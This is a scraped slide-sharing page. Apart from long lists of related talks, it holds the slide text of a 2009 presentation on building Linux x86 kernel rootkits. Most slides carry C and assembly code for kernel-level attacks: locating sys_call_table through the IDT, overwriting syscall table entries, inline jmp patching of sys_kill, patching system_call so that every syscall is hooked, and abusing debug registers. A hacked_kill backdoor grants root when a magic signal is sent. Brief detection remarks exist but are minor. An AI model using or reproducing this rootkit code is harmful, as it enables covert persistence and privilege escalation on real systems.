ย 
ไบ†่งฃCpu
ไบ†่งฃCpuไบ†่งฃCpu
ไบ†่งฃCpuFeng Yu
ย 
Research Paper on Rootkit.
Research Paper on Rootkit.Research Paper on Rootkit.
Research Paper on Rootkit.Anuj Khandelwal
ย 

Viewers also liked (20)

Linux kernel-rootkit-dev - Wonokaerun
Linux kernel-rootkit-dev - WonokaerunLinux kernel-rootkit-dev - Wonokaerun
Linux kernel-rootkit-dev - Wonokaerun
ย 
A particle filter based scheme for indoor tracking on an Android Smartphone
A particle filter based scheme for indoor tracking on an Android SmartphoneA particle filter based scheme for indoor tracking on an Android Smartphone
A particle filter based scheme for indoor tracking on an Android Smartphone
ย 
Cybermania Prelims
Cybermania PrelimsCybermania Prelims
Cybermania Prelims
ย 
OMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
OMFW 2012: Analyzing Linux Kernel Rootkits with VolatlityOMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
OMFW 2012: Analyzing Linux Kernel Rootkits with Volatlity
ย 
Rootkit 102 - Kernel-Based Rootkit
Rootkit 102 - Kernel-Based RootkitRootkit 102 - Kernel-Based Rootkit
Rootkit 102 - Kernel-Based Rootkit
ย 
Kernel Recipes 2015: The stable Linux Kernel Tree - 10 years of insanity
Kernel Recipes 2015: The stable Linux Kernel Tree - 10 years of insanityKernel Recipes 2015: The stable Linux Kernel Tree - 10 years of insanity
Kernel Recipes 2015: The stable Linux Kernel Tree - 10 years of insanity
ย 
Cybermania Mains
Cybermania MainsCybermania Mains
Cybermania Mains
ย 
Linux performance
Linux performanceLinux performance
Linux performance
ย 
Linux Internals - Kernel/Core
Linux Internals - Kernel/CoreLinux Internals - Kernel/Core
Linux Internals - Kernel/Core
ย 
The TCP/IP stack in the FreeBSD kernel COSCUP 2014
The TCP/IP stack in the FreeBSD kernel COSCUP 2014The TCP/IP stack in the FreeBSD kernel COSCUP 2014
The TCP/IP stack in the FreeBSD kernel COSCUP 2014
ย 
LAS16-403 - GDB Linux Kernel Awareness
LAS16-403 - GDB Linux Kernel Awareness LAS16-403 - GDB Linux Kernel Awareness
LAS16-403 - GDB Linux Kernel Awareness
ย 
The Linux Kernel Implementation of Pipes and FIFOs
The Linux Kernel Implementation of Pipes and FIFOsThe Linux Kernel Implementation of Pipes and FIFOs
The Linux Kernel Implementation of Pipes and FIFOs
ย 
Linux Kernel Exploitation
Linux Kernel ExploitationLinux Kernel Exploitation
Linux Kernel Exploitation
ย 
Part 04 Creating a System Call in Linux
Part 04 Creating a System Call in LinuxPart 04 Creating a System Call in Linux
Part 04 Creating a System Call in Linux
ย 
Rootkit
RootkitRootkit
Rootkit
ย 
Applying Memory Forensics to Rootkit Detection
Applying Memory Forensics to Rootkit DetectionApplying Memory Forensics to Rootkit Detection
Applying Memory Forensics to Rootkit Detection
ย 
ไบ†่งฃ็ฝ‘็ปœ
ไบ†่งฃ็ฝ‘็ปœไบ†่งฃ็ฝ‘็ปœ
ไบ†่งฃ็ฝ‘็ปœ
ย 
Debugging Applications with GNU Debugger
Debugging Applications with GNU DebuggerDebugging Applications with GNU Debugger
Debugging Applications with GNU Debugger
ย 
ไบ†่งฃCpu
ไบ†่งฃCpuไบ†่งฃCpu
ไบ†่งฃCpu
ย 
Research Paper on Rootkit.
Research Paper on Rootkit.Research Paper on Rootkit.
Research Paper on Rootkit.
ย 

Similar to Rootkit on Linux X86 v2.6

Rootkit on linux_x86_v2.6
Rootkit on linux_x86_v2.6Rootkit on linux_x86_v2.6
Rootkit on linux_x86_v2.6scuhurricane
ย 
ExperiencesSharingOnEmbeddedSystemDevelopment_20160321
ExperiencesSharingOnEmbeddedSystemDevelopment_20160321ExperiencesSharingOnEmbeddedSystemDevelopment_20160321
ExperiencesSharingOnEmbeddedSystemDevelopment_20160321Teddy Hsiung
ย 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linuxAjin Abraham
ย 
Windbg๋ž‘ ์นœํ•ด์ง€๊ธฐ
Windbg๋ž‘ ์นœํ•ด์ง€๊ธฐWindbg๋ž‘ ์นœํ•ด์ง€๊ธฐ
Windbg๋ž‘ ์นœํ•ด์ง€๊ธฐJi Hun Kim
ย 
What Have Syscalls Done for you Lately?
What Have Syscalls Done for you Lately?What Have Syscalls Done for you Lately?
What Have Syscalls Done for you Lately?Docker, Inc.
ย 
That Goes Without Alpha-Num (or Does It ?) all your base10 are belong to us
That Goes Without Alpha-Num (or Does It ?) all your base10 are belong to usThat Goes Without Alpha-Num (or Does It ?) all your base10 are belong to us
That Goes Without Alpha-Num (or Does It ?) all your base10 are belong to ustakesako
ย 
Static analysis of C++ source code
Static analysis of C++ source codeStatic analysis of C++ source code
Static analysis of C++ source codePVS-Studio
ย 
Static analysis of C++ source code
Static analysis of C++ source codeStatic analysis of C++ source code
Static analysis of C++ source codeAndrey Karpov
ย 
LSFMM 2019 BPF Observability
LSFMM 2019 BPF ObservabilityLSFMM 2019 BPF Observability
LSFMM 2019 BPF ObservabilityBrendan Gregg
ย 
Linux kernel debugging
Linux kernel debuggingLinux kernel debugging
Linux kernel debuggingJungMinSEO5
ย 
Getting started cpp full
Getting started cpp   fullGetting started cpp   full
Getting started cpp fullVรต Hรฒa
ย 
Arduino coding class part ii
Arduino coding class part iiArduino coding class part ii
Arduino coding class part iiJonah Marrs
ย 
Add an interactive command line to your C++ application
Add an interactive command line to your C++ applicationAdd an interactive command line to your C++ application
Add an interactive command line to your C++ applicationDaniele Pallastrelli
ย 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Pluginsamiable_indian
ย 
Poker, packets, pipes and Python
Poker, packets, pipes and PythonPoker, packets, pipes and Python
Poker, packets, pipes and PythonRoger Barnes
ย 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineMatt Provost
ย 
Assignment no39
Assignment no39Assignment no39
Assignment no39Jay Patel
ย 
C Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer CentreC Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer Centrejatin batra
ย 
"You shall not pass : anti-debug methodics"
"You shall not pass : anti-debug methodics""You shall not pass : anti-debug methodics"
"You shall not pass : anti-debug methodics"ITCP Community
ย 
Write a program (any language) to randomly generate the following se.pdf
Write a program (any language) to randomly generate the following se.pdfWrite a program (any language) to randomly generate the following se.pdf
Write a program (any language) to randomly generate the following se.pdfarchanaemporium
ย 

Similar to Rootkit on Linux X86 v2.6 (20)

Rootkit on linux_x86_v2.6
Rootkit on linux_x86_v2.6Rootkit on linux_x86_v2.6
Rootkit on linux_x86_v2.6
ย 
ExperiencesSharingOnEmbeddedSystemDevelopment_20160321
ExperiencesSharingOnEmbeddedSystemDevelopment_20160321ExperiencesSharingOnEmbeddedSystemDevelopment_20160321
ExperiencesSharingOnEmbeddedSystemDevelopment_20160321
ย 
Shellcoding in linux
Shellcoding in linuxShellcoding in linux
Shellcoding in linux
ย 
Windbg๋ž‘ ์นœํ•ด์ง€๊ธฐ
Windbg๋ž‘ ์นœํ•ด์ง€๊ธฐWindbg๋ž‘ ์นœํ•ด์ง€๊ธฐ
Windbg๋ž‘ ์นœํ•ด์ง€๊ธฐ
ย 
What Have Syscalls Done for you Lately?
What Have Syscalls Done for you Lately?What Have Syscalls Done for you Lately?
What Have Syscalls Done for you Lately?
ย 
That Goes Without Alpha-Num (or Does It ?) all your base10 are belong to us
That Goes Without Alpha-Num (or Does It ?) all your base10 are belong to usThat Goes Without Alpha-Num (or Does It ?) all your base10 are belong to us
That Goes Without Alpha-Num (or Does It ?) all your base10 are belong to us
ย 
Static analysis of C++ source code
Static analysis of C++ source codeStatic analysis of C++ source code
Static analysis of C++ source code
ย 
Static analysis of C++ source code
Static analysis of C++ source codeStatic analysis of C++ source code
Static analysis of C++ source code
ย 
LSFMM 2019 BPF Observability
LSFMM 2019 BPF ObservabilityLSFMM 2019 BPF Observability
LSFMM 2019 BPF Observability
ย 
Linux kernel debugging
Linux kernel debuggingLinux kernel debugging
Linux kernel debugging
ย 
Getting started cpp full
Getting started cpp   fullGetting started cpp   full
Getting started cpp full
ย 
Arduino coding class part ii
Arduino coding class part iiArduino coding class part ii
Arduino coding class part ii
ย 
Add an interactive command line to your C++ application
Add an interactive command line to your C++ applicationAdd an interactive command line to your C++ application
Add an interactive command line to your C++ application
ย 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
ย 
Poker, packets, pipes and Python
Poker, packets, pipes and PythonPoker, packets, pipes and Python
Poker, packets, pipes and Python
ย 
Rust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command LineRust LDN 24 7 19 Oxidising the Command Line
Rust LDN 24 7 19 Oxidising the Command Line
ย 
Assignment no39
Assignment no39Assignment no39
Assignment no39
ย 
C Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer CentreC Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer Centre
ย 
"You shall not pass : anti-debug methodics"
"You shall not pass : anti-debug methodics""You shall not pass : anti-debug methodics"
"You shall not pass : anti-debug methodics"
ย 
Write a program (any language) to randomly generate the following se.pdf
Write a program (any language) to randomly generate the following se.pdfWrite a program (any language) to randomly generate the following se.pdf
Write a program (any language) to randomly generate the following se.pdf
ย 

Recently uploaded

From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...Product School
ย 
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...Thierry Lestable
ย 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Jeffrey Haguewood
ย 
Assuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesAssuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesThousandEyes
ย 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Frank van Harmelen
ย 
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...Product School
ย 
ODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupCatarinaPereira64715
ย 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingThijs Feryn
ย 
Speed Wins: From Kafka to APIs in Minutes
Speed Wins: From Kafka to APIs in MinutesSpeed Wins: From Kafka to APIs in Minutes
Speed Wins: From Kafka to APIs in Minutesconfluent
ย 
In-Depth Performance Testing Guide for IT Professionals
In-Depth Performance Testing Guide for IT ProfessionalsIn-Depth Performance Testing Guide for IT Professionals
In-Depth Performance Testing Guide for IT ProfessionalsExpeed Software
ย 
Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Alison B. Lowndes
ย 
"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor TurskyiFwdays
ย 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3DianaGray10
ย 
Exploring UiPath Orchestrator API: updates and limits in 2024 ๐Ÿš€
Exploring UiPath Orchestrator API: updates and limits in 2024 ๐Ÿš€Exploring UiPath Orchestrator API: updates and limits in 2024 ๐Ÿš€
Exploring UiPath Orchestrator API: updates and limits in 2024 ๐Ÿš€DianaGray10
ย 
UiPath Test Automation using UiPath Test Suite series, part 2
UiPath Test Automation using UiPath Test Suite series, part 2UiPath Test Automation using UiPath Test Suite series, part 2
UiPath Test Automation using UiPath Test Suite series, part 2DianaGray10
ย 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...Elena Simperl
ย 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance
ย 
Dev Dives: Train smarter, not harder โ€“ active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder โ€“ active learning and UiPath LLMs for do...Dev Dives: Train smarter, not harder โ€“ active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder โ€“ active learning and UiPath LLMs for do...UiPathCommunity
ย 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonDianaGray10
ย 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Tobias Schneck
ย 

Recently uploaded (20)

From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
From Daily Decisions to Bottom Line: Connecting Product Work to Revenue by VP...
ย 
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
Empowering NextGen Mobility via Large Action Model Infrastructure (LAMI): pav...
ย 
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...
ย 
Assuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyesAssuring Contact Center Experiences for Your Customers With ThousandEyes
Assuring Contact Center Experiences for Your Customers With ThousandEyes
ย 
Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*Neuro-symbolic is not enough, we need neuro-*semantic*
Neuro-symbolic is not enough, we need neuro-*semantic*
ย 
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
From Siloed Products to Connected Ecosystem: Building a Sustainable and Scala...
ย 
ODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User GroupODC, Data Fabric and Architecture User Group
ODC, Data Fabric and Architecture User Group
ย 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
ย 
Speed Wins: From Kafka to APIs in Minutes
Speed Wins: From Kafka to APIs in MinutesSpeed Wins: From Kafka to APIs in Minutes
Speed Wins: From Kafka to APIs in Minutes
ย 
In-Depth Performance Testing Guide for IT Professionals
In-Depth Performance Testing Guide for IT ProfessionalsIn-Depth Performance Testing Guide for IT Professionals
In-Depth Performance Testing Guide for IT Professionals
ย 
Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........Bits & Pixels using AI for Good.........
Bits & Pixels using AI for Good.........
ย 
"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi"Impact of front-end architecture on development cost", Viktor Turskyi
"Impact of front-end architecture on development cost", Viktor Turskyi
ย 
UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3UiPath Test Automation using UiPath Test Suite series, part 3
UiPath Test Automation using UiPath Test Suite series, part 3
ย 
Exploring UiPath Orchestrator API: updates and limits in 2024 ๐Ÿš€
Exploring UiPath Orchestrator API: updates and limits in 2024 ๐Ÿš€Exploring UiPath Orchestrator API: updates and limits in 2024 ๐Ÿš€
Exploring UiPath Orchestrator API: updates and limits in 2024 ๐Ÿš€
ย 
UiPath Test Automation using UiPath Test Suite series, part 2
UiPath Test Automation using UiPath Test Suite series, part 2UiPath Test Automation using UiPath Test Suite series, part 2
UiPath Test Automation using UiPath Test Suite series, part 2
ย 
When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...When stars align: studies in data quality, knowledge graphs, and machine lear...
When stars align: studies in data quality, knowledge graphs, and machine lear...
ย 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
ย 
Dev Dives: Train smarter, not harder โ€“ active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder โ€“ active learning and UiPath LLMs for do...Dev Dives: Train smarter, not harder โ€“ active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder โ€“ active learning and UiPath LLMs for do...
ย 
Connector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a buttonConnector Corner: Automate dynamic content and events by pushing a button
Connector Corner: Automate dynamic content and events by pushing a button
ย 
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024
ย 

Rootkit on Linux X86 v2.6

  • 1. Rootkit on Linux x86 v2.6 WangYao 2009-04-21
  • 2. NOTE The report and code is very evil NOT distribute them
  • 3. Index Rootkit In Brief ๎€Š Rootkit based on LKM ๎€Š How to get sys_call_table ๎€Š Simple sys_call_table hook ๎€Š Inline hook ๎€Š Patching system_call ๎€Š Abuse Debug Registers ๎€Š Real Rootkit ๎€Š Rootkit based non-LKM ๎€Š Using /dev/kmem and kmalloc ๎€Š Using /dev/mem and kmalloc ๎€Š
  • 4. Rootkits In Brief โ€œA rootkit is a set of software tools intended to ๎€Š conceal running processes, files or system data from the operating systemโ€ฆ Rootkits often modify parts of the operating system or install themselves as drivers or kernel modules. โ€ Rootkit, Trojans, Virus, Malware? ๎€Š Now, they often bind together, be called malware. ๎€Š
  • 5. Rootkits' Category UserSpace Rootkit ๎€Š Run in user space ๎€Š Modify some files,libs,config files, and so on. ๎€Š KernelSpace Rootkit ๎€Š Run in kernel space ๎€Š Modify kernel structures, hook system calls at the ๎€Š lowest level
  • 6. Rootkits' Common Function Hide Process ๎€Š Hide File ๎€Š Hide Network Connection ๎€Š Back Door ๎€Š Key Logger ๎€Š
  • 7. Rootkits' Key words Hijack ๎€Š Hook ๎€Š System call ๎€Š sys_call_table ๎€Š sysenter ๎€Š IDT ๎€Š Debug Register ๎€Š
  • 8. Rootkits based on LKM How to get sys_call_table ๎€Š Simple sys_call_table hook ๎€Š Inline hook ๎€Š Patching system_call ๎€Š Abuse Debug Registers ๎€Š Real Rootkit ๎€Š
  • 10. How to get sys_call_table Historically, LKM-based rootkits used the ๎€Š โ€˜sys_call_table[]โ€™ symbol to perform hooks on the system calls sys_call_table[__NR_open] = (void *) my_func_ptr; ๎€Š However, since sys_call_table[] is not an exported ๎€Š symbol anymore, this code isnโ€™t valid We need another way to find โ€˜sys_call_table[]โ€™ ๎€Š
  • 11. How to get sys_call_table The function โ€˜system_callโ€™ makes a direct ๎€Š access to โ€˜sys_call_table[]โ€™ (arch/i386/kernel/entry.S:240) call *sys_call_table(,%eax,4) ๎€Š In x86 machine code, this translates to: ๎€Š 0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1> ๎€Š Where the 4 โ€˜addrโ€™ bytes form the address of ๎€Š โ€˜sys_call_table[]โ€™
  • 12. How to get sys_call_table Problem: โ€˜system_callโ€™ is not exported too ๎€Š Itโ€™s not, but we can discover where it is! ๎€Š โ€˜system_callโ€™ is set as a trap gate of the system ๎€Š (arch/i386/kernel/traps.c:1195): set_system_gate(SYSCALL_VECTOR,&system_call); ๎€Š In x86, this means that its address is stored inside the ๎€Š Interrupt Descriptor Table (IDT) The IDT location can be known via the IDT register ๎€Š (IDTR) And the IDTR, finally, can be retrieved by the SIDT ๎€Š (Store IDT) instruction
  • 13. How to get sys_call_table Steps to get sys_call_table ๎€Š Get the IDTR using SIDT ๎€Š Extract the IDT address from the IDTR ๎€Š Get the address of โ€˜system_callโ€™ from the 0x80th entry of the ๎€Š IDT Search โ€˜system_callโ€™ for our code fingerprint ๎€Š We should have the address of โ€˜sys_call_table[]โ€™ by now, ๎€Š have fun!
  • 14. IDT
  • 15. IDT Descriptor 3 Types: โ—Task Gate โ—Interrupt Gate โ—Trap Gate
  • 16. get_system_call struct idt_descriptor void *get_system_call(void) { { unsigned short off_low; unsigned char idtr[6]; unsigned short sel; unsigned long base; unsigned char none, flags; struct idt_descriptor desc; unsigned short off_high; }; asm (quot;sidt %0quot; : quot;=mquot; (idtr)); base = *((unsigned long *) &idtr[2]); memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc)); return((void *) ((desc.off_high << 16) + desc.off_low)); } /*********** fin get_sys_call_table() ***********/
  • 17. get_sys_call_table void *get_sys_call_table(void *system_call) { unsigned char *p; unsigned long s_c_t; int count = 0; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; if (count++ > 500) { count = -1; break; } } if (count != -1) { p += 3; s_c_t = *((unsigned long *) p); } else s_c_t = 0; return((void *) s_c_t); } /********** fin get_sys_call_table() *************/
  • 18. Simple sys_call_table Hook [...] asmlinkage int (*old_kill) (pid_t pid, int sig); [...] int init_module(void) { old_kill = sys_call_table[SYS_kill] ; sys_call_table[SYS_kill]= (void *) my_kill; [...] } void cleanup_module(void) { sys_call_table[SYS_kill] = old_kill; [...] }
  • 19. ... sys_exit 0xc0123456: int sys_exit(int) 0xc0123456 โ€ฆ .. sys_fork 0xc0789101: int sys_fork(void) 0xc0789101 โ€ฆ .. 0xc0112131: int sys_read(int,void*,int) sys_read โ€ฆ 0xc0112131 .. 0xc0415161: int sys_write(int,void*,int) Sys_write โ€ฆ .. 0xc0415161 ... 0xbadc0ded: int hacked_write(int,void*,void) Hacked Write 0xbadc0ded
  • 20. Simple kill syscall hook asmlinkage int hacked_kill(pid_t pid, int sig) { struct task_struct *ptr = current; int tsig = SIG, tpid = PID, ret_tmp; printk(quot;pid: %d, sig: %dnquot;, pid, sig); if ((tpid == pid) && (tsig == sig)) $whoami { wangyao ptr->uid = 0; $Kill -s 58 12345 ptr->euid = 0; $whoami ptr->gid = 0; $root ptr->egid = 0; return(0); } else { ret_tmp = (*orig_kill)(pid, sig); return(ret_tmp); } return(-1); } /********** fin hacked_kill ************/
  • 21. Inline hook ... sys_exit 0xc0123456: int sys_exit(int) 0xc0123456 โ€ฆ .. 0xc0789101: int sys_fork(void) sys_fork โ€ฆ 0xc0789101 .. 0xc0112131: int sys_read(int,void*,int) โ€ฆ sys_read .. 0xc0112131 0xc0415161: int sys_write(int,void*,int) โ€ฆ .. sys_write jmp hacked_write 0xc0415161 ... โ€ฆโ€ฆ Hacked Write 0xbadc0ded 0xbadc0ded: int hacked_write(int,void*,void) โ€ฆโ€ฆ ret
  • 22. Inline hook printk(quot;Init inline hook.nquot;); s_call = get_system_call(); sys_call_table = get_sys_call_table(s_call); orig_kill = sys_call_table[__NR_kill]; memcpy(original_syscall, orig_kill, 5); buff = (unsigned char*)orig_kill; hookaddr = (unsigned long)hacked_kill; //buff+5+offset = hookaddr offset = hookaddr - (unsigned int)orig_kill - 5; printk(quot;hook addr: %xnquot;, hookaddr); printk(quot;offset: %xnquot;, offset); *buff = 0xe9; //jmp *(buff+1) = (offset & 0xFF); *(buff+2) = (offset >> 8) & 0xFF; *(buff+3) = (offset >> 16) & 0xFF; *(buff+4) = (offset >> 24) & 0xFF; printk(quot;Modify kill syscall.nquot;);
  • 23. Detect simple sys_call_table hook and inline hook Detections ๎€Š Saves the addresses of every syscall ๎€Š Saves the checksums of the first 31 bytes of every ๎€Š syscallโ€™s code Saves the checksums of these data themselves ๎€Š Now you canโ€™t change the addresses in the ๎€Š system call table Also canโ€™t patch the system calls with jmpโ€™s to ๎€Š your hooks More Tricks...... ๎€Š
  • 24. Patching system_call How to hook all syscalls, without modify ๎€Š sys_call_table and IDT? You can modify int 0x80's handler(system_call), and manage the system calls directly.
  • 25. system_call ---- arch/i386/kernel/entry.S ---- # system call handler stub ENTRY(system_call) pushl %eax # save orig_eax SAVE_ALL GET_THREAD_INFO(%ebp) cmpl $(nr_syscalls), %eax ---> Those two instrutions will replaced by jae syscall_badsys ---> Our Own jump # system call tracing in operation testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) jnz syscall_trace_entry syscall_call: call *sys_call_table(,%eax,4) movl %eax,EAX(%esp) # store the return value .... ---- eof ----
  • 26. Patching system_call Trick Original Code: 11 Bytes ๎€Š 'cmpl $(nr_syscalls), %eax' ==> 5 Bytes ๎€Š 'jae syscall_badsys' ==> 6 Bytes ๎€Š Jump Code: 5 Bytes ๎€Š 'pushl $addr' ==> 5 Bytes ๎€Š 'ret' ==> 1 Bytes ๎€Š
  • 27.
  • 28. set_sysenter_handler void set_sysenter_handler(void *sysenter) { unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; /* Seek quot;call *sys_call_table(,%eax,4)quot;*/ while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; /* Seek quot;jae syscall_badsysquot; */ while (!((*p == 0x0f) && (*(p+1) == 0x83))) p--; p -= 5; memcpy(orig_sysenter, p, 6); start_patch_sysenter = p; /* We put the jump*/ *p++ = 0x68; /*pushl*/ p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt); /*now, quot;jaequot;-->ret*/ p = (unsigned char *) p2; *p = 0xc3; /*ret*/ } /************* fin set_sysenter_handler() **********/
  • 29. new_idt & hook void hook(void) void new_idt(void) { { register int eax asm(quot;eaxquot;); ASMIDType ( switch (eax) quot;cmp %0, %%eax nquot; { quot;jae syscallbad nquot; case __NR_kill: quot;jmp hook nquot; CallHookedSyscall(hacked_kill); break; quot;syscallbad: nquot; default: quot;jmp syscall_exit nquot; JmPushRet(syscall_call); break; : : quot;iquot; (NR_syscalls) } ); JmPushRet( after_call ); } /********** fin new_idt() **************/ } /*********** fin hook() ************/
  • 30. Detect system_call hook Trick 1: Copy the system call table and patch ๎€Š the proper bytes in โ€˜system_callโ€™ with the new address This can be avoided by having St. Michael making ๎€Š checksums of โ€˜system_callโ€™ code too Trick 2: Copy โ€˜system_callโ€™ code, apply Trick 1 ๎€Š on it, and modified the 0x80th ID in the IDT with the new address This can be avoided by having St. Michael storing ๎€Š the address of โ€˜system_callโ€™ too
  • 31. Abuse Debug Registers DBRs 0-3: contain the linear address of a ๎€Š breakpoint. A debug exception (# DB) is generated when the case in an attempt to access at the breakpoint DBR 6: lists the conditions that were present ๎€Š when debugging or breakpoint exception was generated DBR 7: Specifies forms of access that will result ๎€Š in the debug exception to reaching breakpoint
  • 33. Evil Ideas of abusing debug Registers Based on the above far this allows us to ๎€Š generate a #DB when the cpu try to run code into any memory location at our choice, even a kernel space Evil Ideas ๎€Š Set breakpoint on system_call(in 0x80's handler) ๎€Š Set breakpoint on sysenter_entry(sysenter handler) ๎€Š OMG, every syscall will be hooked! ๎€Š
  • 34. The #DB also be managed through IDT ๎€Š ENTRY(debug) ๎€Š pushl $0 pushl $SYMBOL_NAME(do_debug) ๎€Š jmp error_code fastcall void do_debug(struct *pt_regs,int errorcode) ๎€Š At the moment we can then divert any ๎€Š flow execution kernel to do_debug, without changing a single bit of text segment!
